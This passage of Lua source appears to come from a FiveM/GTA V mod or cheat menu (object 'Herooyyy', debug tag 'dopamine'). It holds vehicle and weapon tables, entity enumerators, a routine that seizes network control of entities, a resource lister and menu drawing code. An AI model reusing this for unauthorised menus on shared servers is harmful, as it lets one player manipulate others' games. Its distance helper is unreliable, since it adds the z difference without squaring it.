'WEAPON_COMPACTLAUNCHER', --[[Thrown]] 'WEAPON_GRENADE', 'WEAPON_STICKYBOMB', 'WEAPON_PROXMINE', 'WEAPON_BZGAS', 'WEAPON_SMOKEGRENADE', 'WEAPON_MOLOTOV', 'WEAPON_FIREEXTINGUISHER', 'WEAPON_PETROLCAN', 'WEAPON_SNOWBALL', 'WEAPON_FLARE', 'WEAPON_BALL', }
1551Herooyyy.trashTables.vehicleCategories = { 'Addon Cars', 'Boats', 'Commercial', 'Compacts', 'Coupes', 'Cycles', 'Emergency', 'Helictopers', 'Industrial', 'Military', 'Motorcycles', 'Muscle', 'Off-Road', 'Planes', 'SUVs', 'Sedans', 'Service', 'Sports', 'Sports Classic', 'Super', 'Trailer', 'Trains', 'Utility', 'Vans' }
1552Herooyyy.trashTables.vehiclesAddonsList = { '2014rs5', '2016rs7', 'aaq4', 'q820', 'r8v10', 'rs4avant', 'audirs6tk', 'r820', 'rs3', 'rs318', 'sq72016', 'bentayga17', 'contgt13', 'bmci', 'e60', 'm3f80', 'x6m', 'c7', '16challenger', '16chager', '99viper', '95stang', 'mustang19', 'ap2', 'civic', 'tuscani', 'lp670sv', 'gs350', 'lc500', 'rx7tunable', 'amggtr', 'c63s', 'cl65', 'e63amg', 'g65', 'evo10', 'mitsugto', '180sx', '370z', 'gtr', 'evoque', 'subisti08', 'subwrx', 'avalon', 'cam08', 'celisupra', 'gt86', 'supra', 'supra2', 'a80', 'r50' }
1553Herooyyy.trashTables.vehiclesBoatsList = { 'Dinghy', 'Dinghy2', 'Dinghy3', 'Dingh4', 'Jetmax', 'Marquis', 'Seashark', 'Seashark2', 'Seashark3', 'Speeder', 'Speeder2', 'Squalo', 'Submersible', 'Submersible2', 'Suntrap', 'Toro', 'Toro2', 'Tropic', 'Tropic2', 'Tug' }
1554Herooyyy.trashTables.vehiclesTruckList = { 'Benson', 'Biff', 'Cerberus', 'Cerberus2', 'Cerberus3', 'Hauler', 'Hauler2', 'Mule', 'Mule2', 'Mule3', 'Mule4', 'Packer', 'Phantom', 'Phantom2', 'Phantom3', 'Pounder', 'Pounder2', 'Stockade', 'Stockade3', 'Terbyte' }
1555Herooyyy.trashTables.vehiclesCompactsList = { 'Blista', 'Blista2', 'Blista3', 'Brioso', 'Dilettante', 'Dilettante2', 'Issi2', 'Issi3', 'issi4', 'Iss5', 'issi6', 'Panto', 'Prarire', 'Rhapsody' }
1556Herooyyy.trashTables.vehiclesCoupesList = { 'CogCabrio', 'Exemplar', 'F620', 'Felon', 'Felon2', 'Jackal', 'Oracle', 'Oracle2', 'Sentinel', 'Sentinel2', 'Windsor', 'Windsor2', 'Zion', 'Zion2' }
1557Herooyyy.trashTables.vehiclesBicyclesList = { 'Bmx', 'Cruiser', 'Fixter', 'Scorcher', 'Tribike', 'Tribike2', 'tribike3' }
1558Herooyyy.trashTables.vehiclesEmergencyList = { 'ambulance', 'FBI', 'FBI2', 'FireTruk', 'PBus', 'police', 'Police2', 'Police3', 'Police4', 'PoliceOld1', 'PoliceOld2', 'PoliceT', 'Policeb', 'Polmav', 'Pranger', 'Predator', 'Riot', 'Riot2', 'Sheriff', 'Sheriff2' }
1559Herooyyy.trashTables.vehiclesHelicoptersList = { 'Akula', 'Annihilator', 'Buzzard', 'Buzzard2', 'Cargobob', 'Cargobob2', 'Cargobob3', 'Cargobob4', 'Frogger', 'Frogger2', 'Havok', 'Hunter', 'Maverick', 'Savage', 'Seasparrow', 'Skylift', 'Supervolito', 'Supervolito2', 'Swift', 'Swift2', 'Valkyrie', 'Valkyrie2', 'Volatus' }
1560Herooyyy.trashTables.vehiclesIndustrialsList = { 'Bulldozer', 'Cutter', 'Dump', 'Flatbed', 'Guardian', 'Handler', 'Mixer', 'Mixer2', 'Rubble', 'Tiptruck', 'Tiptruck2' }
1561Herooyyy.trashTables.vehiclesMilitaryVehicles = { 'APC', 'Barracks', 'Barracks2', 'Barracks3', 'Barrage', 'Chernobog', 'Crusader', 'Halftrack', 'Khanjali', 'Rhino', 'Scarab', 'Scarab2', 'Scarab3', 'Thruster', 'Trailersmall2' }
1562Herooyyy.trashTables.vehiclesMotorcyclesList = { 'Akuma', 'Avarus', 'Bagger', 'Bati2', 'Bati', 'BF400', 'Blazer4', 'CarbonRS', 'Chimera', 'Cliffhanger', 'Daemon', 'Daemon2', 'Defiler', 'Deathbike', 'Deathbike2', 'Deathbike3', 'Diablous', 'Diablous2', 'Double', 'Enduro', 'esskey', 'Faggio2', 'Faggio3', 'Faggio', 'Fcr2', 'fcr', 'gargoyle', 'hakuchou2', 'hakuchou', 'hexer', 'innovation', 'Lectro', 'Manchez', 'Nemesis', 'Nightblade', 'Oppressor', 'Oppressor2', 'PCJ', 'Ratbike', 'Ruffian', 'Sanchez2', 'Sanchez', 'Sanctus', 'Shotaro', 'Sovereign', 'Thrust', 'Vader', 'Vindicator', 'Vortex', 'Wolfsbane', 'zombiea', 'zombieb' }
1563Herooyyy.trashTables.vehiclesMuscleList = { 'Blade', 'Buccaneer', 'Buccaneer2', 'Chino', 'Chino2', 'clique', 'Deviant', 'Dominator', 'Dominator2', 'Dominator3', 'Dominator4', 'Dominator5', 'Dominator6', 'Dukes', 'Dukes2', 'Ellie', 'Faction', 'faction2', 'faction3', 'Gauntlet', 'Gauntlet2', 'Hermes', 'Hotknife', 'Hustler', 'Impaler', 'Impaler2', 'Impaler3', 'Impaler4', 'Imperator', 'Imperator2', 'Imperator3', 'Lurcher', 'Moonbeam', 'Moonbeam2', 'Nightshade', 'Phoenix', 'Picador', 'RatLoader', 'RatLoader2', 'Ruiner', 'Ruiner2', 'Ruiner3', 'SabreGT', 'SabreGT2', 'Sadler2', 'Slamvan', 'Slamvan2', 'Slamvan3', 'Slamvan4', 'Slamvan5', 'Slamvan6', 'Stalion', 'Stalion2', 'Tampa', 'Tampa3', 'Tulip', 'Vamos,', 'Vigero', 'Virgo', 'Virgo2', 'Virgo3', 'Voodoo', 'Voodoo2', 'Yosemite' }
1564Herooyyy.trashTables.vehiclesOffroadList = { 'BFinjection', 'Bifta', 'Blazer', 'Blazer2', 'Blazer3', 'Blazer5', 'Bohdi', 'Brawler', 'Bruiser', 'Bruiser2', 'Bruiser3', 'Caracara', 'DLoader', 'Dune', 'Dune2', 'Dune3', 'Dune4', 'Dune5', 'Insurgent', 'Insurgent2', 'Insurgent3', 'Kalahari', 'Kamacho', 'LGuard', 'Marshall', 'Mesa', 'Mesa2', 'Mesa3', 'Monster', 'Monster4', 'Monster5', 'Nightshark', 'RancherXL', 'RancherXL2', 'Rebel', 'Rebel2', 'RCBandito', 'Riata', 'Sandking', 'Sandking2', 'Technical', 'Technical2', 'Technical3', 'TrophyTruck', 'TrophyTruck2', 'Freecrawler', 'Menacer' }
1565Herooyyy.trashTables.vehiclesPlanesList = { 'AlphaZ1', 'Avenger', 'Avenger2', 'Besra', 'Blimp', 'blimp2', 'Blimp3', 'Bombushka', 'Cargoplane', 'Cuban800', 'Dodo', 'Duster', 'Howard', 'Hydra', 'Jet', 'Lazer', 'Luxor', 'Luxor2', 'Mammatus', 'Microlight', 'Miljet', 'Mogul', 'Molotok', 'Nimbus', 'Nokota', 'Pyro', 'Rogue', 'Seabreeze', 'Shamal', 'Starling', 'Stunt', 'Titan', 'Tula', 'Velum', 'Velum2', 'Vestra', 'Volatol', 'Striekforce' }
1566Herooyyy.trashTables.vehiclesSuvsList = { 'BJXL', 'Baller', 'Baller2', 'Baller3', 'Baller4', 'Baller5', 'Baller6', 'Cavalcade', 'Cavalcade2', 'Dubsta', 'Dubsta2', 'Dubsta3', 'FQ2', 'Granger', 'Gresley', 'Habanero', 'Huntley', 'Landstalker', 'patriot', 'Patriot2', 'Radi', 'Rocoto', 'Seminole', 'Serrano', 'Toros', 'XLS', 'XLS2' }
1567Herooyyy.trashTables.vehiclesSedansList = { 'Asea', 'Asea2', 'Asterope', 'Cog55', 'Cogg552', 'Cognoscenti', 'Cognoscenti2', 'emperor', 'emperor2', 'emperor3', 'Fugitive', 'Glendale', 'ingot', 'intruder', 'limo2', 'premier', 'primo', 'primo2', 'regina', 'romero', 'stafford', 'Stanier', 'stratum', 'stretch', 'surge', 'tailgater', 'warrener', 'Washington' }
1568Herooyyy.trashTables.vehiclesServicesList = { 'Airbus', 'Brickade', 'Bus', 'Coach', 'Rallytruck', 'Rentalbus', 'taxi', 'Tourbus', 'Trash', 'Trash2', 'WastIndr', 'PBus2' }
1569Herooyyy.trashTables.vehiclesSportsList = { 'Alpha', 'Banshee', 'Banshee2', 'BestiaGTS', 'Buffalo', 'Buffalo2', 'Buffalo3', 'Carbonizzare', 'Comet2', 'Comet3', 'Comet4', 'Comet5', 'Coquette', 'Deveste', 'Elegy2', 'Feltzer2', 'Feltzer3', 'FlashGT', 'Furoregt', 'Fusilade', 'Futo', 'GB200', 'Hotring', 'Infernus2', 'Italigto', 'Jester', 'Jester2', 'Khamelion', 'Kurama', 'Kurama2', 'Lynx', 'MAssacro', 'MAssacro2', 'neon', 'Ninef', 'ninfe2', 'omnis', 'Pariah', 'Penumbra', 'Raiden', 'RapidGT', 'RapidGT2', 'Raptor', 'Revolter', 'Ruston', 'Schafter2', 'Schafter3', 'Schafter4', 'Schafter5', 'Schafter6', 'Schlagen', 'Schwarzer', 'Sentinel3', 'Seven70', 'Specter', 'Specter2', 'Streiter', 'Sultan', 'Surano', 'Tampa2', 'Tropos', 'Verlierer2', 'ZR380' }
1570Herooyyy.trashTables.vehiclesSportsClassicsList = { 'Ardent', 'BType', 'BType2', 'BType3', 'Casco', 'Cheetah2', 'Cheburek', 'Coquette2', 'Coquette3', 'Deluxo', 'Fagaloa', 'Gt500', 'JB700', 'Jester3', 'MAmba', 'Manana', 'Michelli', 'Monroe', 'Peyote', 'Pigalle', 'RapidGT3', 'Retinue', 'Savestra', 'Stinger', 'Stingergt', 'Stromberg', 'Swinger', 'Torero', 'Tornado', 'Tornado2', 'Tornado3', 'Tornado4', 'Tornado5', 'Tornado6', 'Viseris', 'Z190', 'ZType' }
1571Herooyyy.trashTables.vehiclesSupersList = { 'Adder', 'Autarch', 'Bullet', 'Cheetah', 'Cyclone', 'Elegy', 'EntityXF', 'Entity2', 'FMJ', 'GP1', 'Infernus', 'LE7B', 'Nero', 'Nero2', 'Osiris', 'Penetrator', 'PFister811', 'Prototipo', 'Reaper', 'SC1', 'Scramjet', 'Sheava', 'SultanRS', 'Superd', 'T20', 'Taipan', 'Tempesta', 'Tezeract', 'Turismo2', 'Turismor', 'Tyrant', 'Tyrus', 'Vacca', 'Vagner', 'Vigilante', 'Visione', 'Voltic', 'Voltic2', 'Zentorno', 'Italigtb', 'Italigtb2', 'XA21' }
1572Herooyyy.trashTables.vehiclesTrailersList = { 'ArmyTanker', 'ArmyTrailer', 'ArmyTrailer2', 'BaleTrailer', 'BoatTrailer', 'CableCar', 'DockTrailer', 'Graintrailer', 'Proptrailer', 'Raketailer', 'TR2', 'TR3', 'TR4', 'TRFlat', 'TVTrailer', 'Tanker', 'Tanker2', 'Trailerlogs', 'Trailersmall', 'Trailers', 'Trailers2', 'Trailers3' }
1573Herooyyy.trashTables.vehiclesTrainsList = { 'Freight', 'Freightcar', 'Freightcont1', 'Freightcont2', 'Freightgrain', 'Freighttrailer', 'TankerCar' }
1574Herooyyy.trashTables.vehiclesWorkList = { 'Airtug', 'Caddy', 'Caddy2', 'Caddy3', 'Docktug', 'Forklift', 'Mower', 'Ripley', 'Sadler', 'Scrap', 'TowTruck', 'Towtruck2', 'Tractor', 'Tractor2', 'Tractor3', 'TrailerLArge2', 'Utilitruck', 'Utilitruck3', 'Utilitruck2' }
1575Herooyyy.trashTables.vehiclesVansList = { 'Bison', 'Bison2', 'Bison3', 'BobcatXL', 'Boxville', 'Boxville2', 'Boxville3', 'Boxville4', 'Boxville5', 'Burrito', 'Burrito2', 'Burrito3', 'Burrito4', 'Burrito5', 'Camper', 'GBurrito', 'GBurrito2', 'Journey', 'Minivan', 'Minivan2', 'Paradise', 'pony', 'Pony2', 'Rumpo', 'Rumpo2', 'Rumpo3', 'Speedo', 'Speedo2', 'Speedo4', 'Surfer', 'Surfer2', 'Taco', 'Youga', 'youga2' }
1576Herooyyy.trashTables.fullVehiclesList = { Herooyyy.trashTables.vehiclesAddonsList, Herooyyy.trashTables.vehiclesBoatsList, Herooyyy.trashTables.vehiclesTruckList, Herooyyy.trashTables.vehiclesCompactsList, Herooyyy.trashTables.vehiclesCoupesList, Herooyyy.trashTables.vehiclesBicyclesList, Herooyyy.trashTables.vehiclesEmergencyList, Herooyyy.trashTables.vehiclesHelicoptersList, Herooyyy.trashTables.vehiclesIndustrialsList, Herooyyy.trashTables.vehiclesMilitaryVehicles, Herooyyy.trashTables.vehiclesMotorcyclesList, Herooyyy.trashTables.vehiclesMuscleList, Herooyyy.trashTables.vehiclesOffroadList, Herooyyy.trashTables.vehiclesPlanesList, Herooyyy.trashTables.vehiclesSuvsList, Herooyyy.trashTables.vehiclesSedansList, Herooyyy.trashTables.vehiclesServicesList, Herooyyy.trashTables.vehiclesSportsList, Herooyyy.trashTables.vehiclesSportsClassicsList, Herooyyy.trashTables.vehiclesSupersList, Herooyyy.trashTables.vehiclesTrailersList, Herooyyy.trashTables.vehiclesTrainsList, Herooyyy.trashTables.vehiclesWorkList, Herooyyy.trashTables.vehiclesVansList }
1577
1578local oTable = {} do function oTable.insert(t, k, v) if not rawget(t._values, k) then t._keys[#t._keys + 1] = k end if v == nil then oTable.remove(t, k) else t._values[k] = v end end local function find(t, value) for i,v in ipairs(t) do if v == value then return i end end end function oTable.remove(t, k) local v = t._values[k] if v ~= nil then table.remove(t._keys, find(t._keys, k)) t._values[k] = nil end return v end function oTable.index(t, k) return rawget(t._values, k) end function oTable.pairs(t) local i = 0 return function() i = i + 1 local key = t._keys[i] if key ~= nil then return key, t._values[key] end end end function oTable.new(init) init = init or {} local t = {_keys={}, _values={}} local n = #init if n % 2 ~= 0 then error'in oTable initialization: key is missing value' end for i=1,n/2 do local k = init[i * 2 - 1] local v = init[i * 2] if t._values[k] ~= nil then error('duplicate key:'..k) end t._keys[#t._keys + 1] = k t._values[k] = v end return setmetatable(t, {__newindex=oTable.insert, __len=function(t) return #t._keys end, __pairs=oTable.pairs, __index=t._values }) end end
1579
1580local entityEnumerator = { __gc = function(enum) if enum.destructor and enum.handle then enum.destructor(enum.handle) end enum.destructor = nil enum.handle = nil end }
1581
1582Herooyyy.trashFunctions.enumEntities = function(initFunc, moveFunc, disposeFunc) return coroutine.wrap(function() local iter, id = initFunc() if not id or id == 0 then disposeFunc(iter) return end local enum = {handle = iter, destructor = disposeFunc} setmetatable(enum, entityEnumerator) local next = true repeat coroutine.yield(id) next, id = moveFunc(iter) until not next enum.destructor, enum.handle = nil, nil disposeFunc(iter) end) end
1583Herooyyy.trashFunctions.enumObjects = function() return Herooyyy.trashFunctions.enumEntities(FindFirstObject, FindNextObject, EndFindObject) end
1584Herooyyy.trashFunctions.enumPeds = function() return Herooyyy.trashFunctions.enumEntities(FindFirstPed, FindNextPed, EndFindPed) end
1585Herooyyy.trashFunctions.enumVehicles = function() return Herooyyy.trashFunctions.enumEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle) end
1586Herooyyy.trashFunctions.EnumeratePickups = function() return Herooyyy.trashFunctions.enumEntities(FindFirstPickup, FindNextPickup, EndFindPickup) end
1587Herooyyy.trashFunctions.reqControlOnce = function(entity) if not NetworkIsInSession() or NetworkHasControlOfEntity(entity) then return true end SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(entity), true) return NetworkRequestControlOfEntity(entity) end
1588Herooyyy.trashFunctions.rotationToDirection = function(rotation) local retz = math.rad(rotation.z) local retx = math.rad(rotation.x) local absx = math.abs(math.cos(retx)) return vector3(-math.sin(retz) * absx, math.cos(retz) * absx, math.sin(retx)) end
1589Herooyyy.trashFunctions.screenToWrld = function(screenCoord) local camRot = GetGameplayCamRot(2) local camPos = GetGameplayCamCoord() local vect2x = 0.0 local vect2y = 0.0 local vect21y = 0.0 local vect21x = 0.0 local direction = Herooyyy.trashFunctions.rotationToDirection(camRot) local vect3 = vector3(camRot.x + 10.0, camRot.y + 0.0, camRot.z + 0.0) local vect31 = vector3(camRot.x - 10.0, camRot.y + 0.0, camRot.z + 0.0) local vect32 = vector3(camRot.x, camRot.y + 0.0, camRot.z + -10.0) local direction1 = Herooyyy.trashFunctions.rotationToDirection(vector3(camRot.x, camRot.y + 0.0, camRot.z + 10.0)) - Herooyyy.trashFunctions.rotationToDirection(vect32) local direction2 = Herooyyy.trashFunctions.rotationToDirection(vect3) - Herooyyy.trashFunctions.rotationToDirection(vect31) local radians = -(math.rad(camRot.y)) vect33 = (direction1 * math.cos(radians)) - (direction2 * math.sin(radians)) vect34 = (direction1 * math.sin(radians)) - (direction2 * math.cos(radians)) local case1, x1, y1 = Herooyyy.trashFunctions.worldToScreenRel(((camPos + (direction * 10.0)) + vect33) + vect34) if not case1 then vect2x = x1 vect2y = y1 return camPos + (direction * 10.0) end local case2, x2, y2 = Herooyyy.trashFunctions.worldToScreenRel(camPos + (direction * 10.0)) if not case2 then vect21x = x2 vect21y = y2 return camPos + (direction * 10.0) end if math.abs(vect2x - vect21x) < 0.001 or math.abs(vect2y - vect21y) < 0.001 then return camPos + (direction * 10.0) end local x = (screenCoord.x - vect21x) / (vect2x - vect21x) local y = (screenCoord.y - vect21y) / (vect2y - vect21y) return ((camPos + (direction * 10.0)) + (vect33 * x)) + (vect34 * y) end
1590Herooyyy.trashFunctions.subVectors = function(vect1, vect2) return vector3(vect1.x - vect2.x, vect1.y - vect2.y, vect1.z - vect2.z) end
1591Herooyyy.trashFunctions.GetCamDirFromScreenCenter = function() local pos = GetGameplayCamCoord() local world = Herooyyy.trashFunctions.screenToWrld(0, 0) local ret = Herooyyy.trashFunctions.subVectors(world, pos) return ret end
1592Herooyyy.trashFunctions.worldToScreenRel = function(worldCoords) local check, x, y = GetScreenCoordFromWorldCoord(worldCoords.x, worldCoords.y, worldCoords.z) if not check then return false end screenCoordsx = (x - 0.5) * 2.0 screenCoordsy = (y - 0.5) * 2.0 return true, screenCoordsx, screenCoordsy end
1593Herooyyy.trashFunctions.returnRGB = function(l) local rgb = {} local n = GetGameTimer() / 200 rgb.r = math.floor(math.sin(n * l + 0) * 127 + 128) rgb.g = math.floor(math.sin(n * l + 2) * 127 + 128) rgb.b = math.floor(math.sin(n * l + 4) * 127 + 128) return rgb end
1594Herooyyy.trashFunctions.weaponNameFromHash = function(hash) for i = 1, #Herooyyy.trashTables.weaponsModels do if GetHashKey(Herooyyy.trashTables.weaponsModels[i]) == hash then return string.sub(Herooyyy.trashTables.weaponsModels[i], 8) end end end
1595Herooyyy.trashFunctions.scaleVector = function(vect, mult) return vector3(vect.x * mult, vect.y * mult, vect.z * mult) end
1596Herooyyy.trashFunctions.addVector = function(vect1, vect2) return vector3(vect1.x + vect2.x, vect1.y + vect2.y, vect1.z + vect2.z) end
1597Herooyyy.trashFunctions.multiplyVector = function(coords, coordz) return vector3(coords.x * coordz, coords.y * coordz, coords.z * coordz) end
1598Herooyyy.trashFunctions.forceOscillate = function(entity, position, angleFreq, dampRatio) local pos1 = Herooyyy.trashFunctions.scaleVector(Herooyyy.trashFunctions.subVectors(position, GetEntityCoords(entity)), (angleFreq * angleFreq)) local pos2 = Herooyyy.trashFunctions.addVector(Herooyyy.trashFunctions.scaleVector(GetEntityVelocity(entity), (2.0 * angleFreq * dampRatio)), vector3(0.0, 0.0, 0.1)) local targetPos = Herooyyy.trashFunctions.subVectors(pos1, pos2) ApplyForceToEntity(entity, 3, targetPos, 0, 0, 0, false, false, true, true, false, true) end
1599Herooyyy.trashFunctions.getDistance = function(pointA, pointB) local aX = pointA.x local aY = pointA.y local aZ = pointA.z local bX = pointB.x local bY = pointB.y local bZ = pointB.z local xBA = bX - aX local yBA = bY - aY local zBA = bZ - aZ local y2 = yBA * yBA local x2 = xBA * xBA local sum2 = y2 + x2 return math.sqrt(sum2 + zBA) end
1600Herooyyy.trashFunctions.initIntro = function(scaleform, message) local scaleform = RequestScaleformMovie(scaleform) while not HasScaleformMovieLoaded(scaleform) do pWait(1) end PushScaleformMovieFunction(scaleform, 'SHOW_SHARD_WASTED_MP_MESSAGE') PushScaleformMovieFunctionParameterString(message) PopScaleformMovieFunctionVoid() return scaleform end
1601Herooyyy.trashFunctions.math_round = function(num, numDecimalPlaces)
1602 return tonumber(string.format('%.' .. (numDecimalPlaces or 0) .. 'f', num))
1603end
1604Herooyyy.trashFunctions.table_removekey = function(array, element)
1605 for i = 1, #array do
1606 if array[i] == element then
1607 table.remove(array, i)
1608 end
1609 end
1610end
1611Herooyyy.trashFunctions.table_includes = function(table, element)
1612 for _, value in pairs(table) do
1613 if value == element then
1614 return true
1615 end
1616 end
1617 return false
1618end
1619
1620do
1621 local NumberCharset = {}
1622 local Charset = {}
1623 for i = 48, 57 do table.insert(NumberCharset, string.char(i)) end
1624 for i = 65, 90 do table.insert(Charset, string.char(i)) end
1625 for i = 97, 122 do table.insert(Charset, string.char(i)) end
1626 Herooyyy.trashFunctions.getRandomNumber = function(length)
1627 pWait(0)
1628 math.randomseed(GetGameTimer())
1629 if length > 0 then
1630 return Herooyyy.trashFunctions.getRandomNumber(length - 1) .. NumberCharset[math.random(1, #NumberCharset)]
1631 else
1632 return ''
1633 end
1634 end
1635
1636 Herooyyy.trashFunctions.getRandomLetter = function(length)
1637 pWait(0)
1638 math.randomseed(GetGameTimer())
1639 if length > 0 then
1640 return Herooyyy.trashFunctions.getRandomLetter(length - 1) .. Charset[math.random(1, #Charset)]
1641 else
1642 return ''
1643 end
1644 end
1645end
1646
1647Herooyyy.trashFunctions.keyboardInput = function(TextEntry, ExampleText, MaxStringLength)
1648 Herooyyy.natives.addTextEntry('FMMC_KEY_TIP1', TextEntry .. ':')
1649 Herooyyy.natives.displayOnscreenKeyboard(1, 'FMMC_KEY_TIP1', '', ExampleText, '', '', '', MaxStringLength)
1650 blockinput = true
1651
1652 while Herooyyy.natives.updateOnscreenKeyboard() ~= 1 and Herooyyy.natives.updateOnscreenKeyboard() ~= 2 do
1653 pWait(0)
1654 end
1655
1656 if Herooyyy.natives.updateOnscreenKeyboard() ~= 2 then
1657 local result = GetOnscreenKeyboardResult()
1658 pWait(500)
1659 blockinput = false
1660 return result
1661 else
1662 pWait(500)
1663 blockinput = false
1664 return nil
1665 end
1666end
1667
1668Herooyyy.trashFunctions.getPlayerStatus = function(target)
1669 local maxHealth = GetEntityMaxHealth(target)
1670 local currentHealth = GetEntityHealth(target)
1671 if currentHealth >= 1 then
1672 return ' [~g~Alive~m~] [~g~'..currentHealth..'~m~/~g~'..maxHealth..'~m~]'
1673 else
1674 return ' [~r~Dead~m~] [~r~'..currentHealth..'~m~/~r~'..maxHealth..'~m~]'
1675 end
1676end
1677
1678Herooyyy.trashFunctions.getResources = function()
1679 local resources = {}
1680 for i=0, GetNumResources() do
1681 resources[i] = GetResourceByFindIndex(i)
1682 end
1683 return resources
1684end
1685
1686function Herooyyy.debugPrint(text)
1687 if Herooyyy.debug then
1688 Citizen.Trace('[d'..'opamine] '..tostring(text)..'.\n')
1689 end
1690end
1691
1692function Herooyyy.setMenuProperty(id, property, value)
1693 if id and Herooyyy.menuProps.shitMenus[id] then
1694 Herooyyy.menuProps.shitMenus[id][property] = value
1695 Herooyyy.debugPrint(id..' menu property changed: { '..tostring(property)..', '..tostring(value)..' }')
1696 end
1697end
1698
1699function Herooyyy.isMenuVisible(id)
1700 if id and Herooyyy.menuProps.shitMenus[id] then
1701 return Herooyyy.menuProps.shitMenus[id].visible
1702 else
1703 return false
1704 end
1705end
1706
1707function Herooyyy.setMenuVisible(id, visible, holdCurrent)
1708 if id and Herooyyy.menuProps.shitMenus[id] then
1709 Herooyyy.setMenuProperty(id, 'visible', visible)
1710
1711 if not holdCurrent and Herooyyy.menuProps.shitMenus[id] then
1712 Herooyyy.setMenuProperty(id, 'currentOption', 1)
1713 end
1714
1715 if visible then
1716 if id ~= Herooyyy.menuProps.currentMenu and Herooyyy.isMenuVisible(Herooyyy.menuProps.currentMenu) then
1717 Herooyyy.setMenuVisible(Herooyyy.menuProps.currentMenu, false)
1718 end
1719
1720 Herooyyy.menuProps.currentMenu = id
1721 end
1722 end
1723end
1724
1725function Herooyyy.DrawTxt(text, x, y, scale, size, color)
1726 Herooyyy.natives.setTextColour(color.r, color.g, color.b, color.a)
1727 Herooyyy.natives.setTextFont(4)
1728 SetTextCentre()
1729 Herooyyy.natives.setTextProportional(1)
1730 Herooyyy.natives.setTextScale(scale, size)
1731 SetTextDropshadow(0, 0, 0, 0, 255)
1732 SetTextEdge(2, 0, 0, 0, 255)
1733 Herooyyy.natives.setTextDropShadow()
1734 if Herooyyy.menuProps.menu_TextOutline then
1735 Herooyyy.natives.setTextOutline()
1736 end
1737 Herooyyy.natives.beginTextCommandDisplayText('STRING')
1738 Herooyyy.natives.addTextComponentSubstringPlayerName(text)
1739 Herooyyy.natives.endTextCommandDisplayText(x, y)
1740end
1741
1742function Herooyyy.drawText(text, x, y, font, color, scale, center, shadow, alignRight)
1743 Herooyyy.natives.setTextColour(color.r, color.g, color.b, color.a)
1744 if Herooyyy.menuProps.menu_TextDropShadow then
1745 Herooyyy.natives.setTextDropShadow(0, 0, 0, 0,255)
1746 end
1747 SetTextEdge(2, 0, 0, 0, 255)
1748 if Herooyyy.menuProps.menu_TextOutline then
1749 Herooyyy.natives.setTextOutline()
1750 end
1751 Herooyyy.natives.setTextFont(font)
1752 Herooyyy.natives.setTextScale(scale, scale)
1753
1754 if shadow then
1755 Herooyyy.natives.setTextDropShadow(2, 2, 0, 0, 0)
1756 end
1757
1758 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
1759 if center then
1760 SetTextCentre(center)
1761 elseif alignRight then
1762 SetTextWrap(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width - Herooyyy.menuProps.buttonTextXOffset)
1763 SetTextRightJustify(true)
1764 end
1765 end
1766
1767 Herooyyy.natives.beginTextCommandDisplayText('STRING')
1768 Herooyyy.natives.addTextComponentSubstringPlayerName(text)
1769 Herooyyy.natives.endTextCommandDisplayText(x, y)
1770end
1771
1772function Herooyyy.drawRect(x, y, width, height, color)
1773 Herooyyy.natives.drawRect(x, y, width, height, color.r, color.g, color.b, color.a)
1774end
1775
1776function Herooyyy.drawTitle()
1777 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
1778 local x = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 2
1779 local xText = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width * Herooyyy.menuProps.titleXOffset
1780 local y = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].y + Herooyyy.menuProps.titleHeight * 1/Herooyyy.menuProps.titleSpacing
1781
1782 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleBackgroundSprite then
1783 DrawSprite(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleBackgroundSprite.dict, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleBackgroundSprite.name, x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.titleHeight, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1784 else
1785 Herooyyy.drawRect(x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.titleHeight, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleBackgroundColor)
1786 end
1787
1788 Herooyyy.drawText(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].title, xText, y - Herooyyy.menuProps.titleHeight / 2 + Herooyyy.menuProps.titleYOffset, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleFont, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleColor, Herooyyy.menuProps.titleScale, true)
1789 Herooyyy.drawText(Herooyyy.menuProps._mVersion, xText + 0.2, y - Herooyyy.menuProps.titleHeight / 2 + Herooyyy.menuProps.titleYOffset + 0.020, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleFont, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].titleColor, Herooyyy.menuProps.titleScale - 0.3, true)
1790 end
1791end
1792
1793function Herooyyy.drawSubTitle()
1794 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
1795 local x = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 2
1796 local y = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].y + Herooyyy.menuProps.titleHeight + Herooyyy.menuProps.buttonHeight / 2
1797
1798 local subTitleColor = { r = Herooyyy.mainColor.r, g = Herooyyy.mainColor.g, b = Herooyyy.mainColor.b, a = 255 }
1799
1800 Herooyyy.drawRect(x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].subTitleBackgroundColor)
